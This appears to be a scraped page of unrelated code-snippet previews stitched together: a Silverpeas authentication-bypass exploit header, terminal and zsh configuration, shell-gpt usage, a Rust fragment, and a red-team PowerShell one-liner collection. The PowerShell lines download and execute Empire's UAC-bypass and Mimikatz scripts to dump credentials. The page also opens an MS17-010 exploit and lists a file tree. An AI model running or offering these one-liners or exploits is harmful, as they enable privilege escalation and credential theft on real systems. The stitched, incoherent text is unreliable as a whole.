James Fraser wulfgarpro

Exploit Title: Silverpeas CRM - Authentication Bypass

Date of found: 12/05/2024

Exploit Author: Chris Pritchard [email protected]

Version: V1.0

Tested on: 6.3.4

Fixed in: 6.3.5

Vendor Homepage: https://silverpeas.org/

Software Link: https://silverpeas.org/

CVE: CVE-2024-36042

CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36042

True Color (24-bit) and italics with alacritty + tmux + vim (neovim)

This should make True Color (24-bit) and italics work in your tmux session and vim/neovim when using Alacritty (and should be compatible with any other terminal emulator, including Kitty).

Testing colors

Running this script should look the same in tmux as without.

curl -s https://gist.githubusercontent.com/lifepillar/09a44b8cf0f9397465614e622979107f/raw/24-bit-color.sh >24-bit-color.sh

	# install
	pip install shell-gpt
	sgpt "hi" (and enter your API key)

	# commit the current folder with the generated message
	git commit . -m "$(git diff \| sgpt --model gpt-4o --code 'Write concise, informative commit messages: Start with a summary in imperative mood, explain the 'why' behind changes, keep the summary under 50 characters, use bullet points for multiple changes, avoid using the word refactor, instead explain what was done, and reference related issues or tickets. What you write will be passed to git commit -m "[message]"')"
	# you could assign an alias now if you like it

	#!/bin/bash

	## Change following to '0' for output to be like ls and '1' for eza features
	# Don't list implied . and .. by default with -a
	dot=0
	# Show human readable file sizes by default
	hru=1
	# Show file sizes in decimal (1KB=1000 bytes) as opposed to binary units (1KiB=1024 bytes)
	meb=0
	# Don't show group column

	# ~/.zshrc file for zsh interactive shells.
	# see /usr/share/doc/zsh/examples/zshrc for examples

	setopt autocd # change directory just by typing its name
	#setopt correct # auto correct mistakes
	setopt interactivecomments # allow comments in interactive mode
	setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
	setopt nonomatch # hide error message if there is no match for the pattern
	setopt notify # report the status of background jobs immediately
	setopt numericglobsort # sort filenames numerically when it makes sense

	use std::str;

	fn main() {
	// -- FROM: vec of chars --
	let src1: Vec<char> = vec!['j','{','"','i','m','m','y','"','}'];
	// to String
	let string1: String = src1.iter().collect::<String>();
	// to str
	let str1: &str = &src1.iter().collect::<String>();
	// to vec of byte

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands

	#!/usr/bin/python
	from impacket import smb, smbconnection
	from mysmb import MYSMB
	from struct import pack, unpack, unpack_from
	import sys
	import socket
	import time

	'''
	MS17-010 exploit for Windows 2000 and later by sleepya

	.
	├── matree
	├── swift
	│ ├── 00503_0_254.242_2013mar02
	│ ├── 00546_0_ensbdasa-09aug2013
	│ ├── 00553_0_ensbdpix3-09aug2013
	│ ├── 00554_0_ensbdpix4-09aug2013
	│ ├── 00555_0_ensbdrtr1-2013aug09
	│ ├── 00557_0_ENSBDVPN1-02AUG2013
	│ ├── 00558_0_ENSBDVPN2-02AUG2013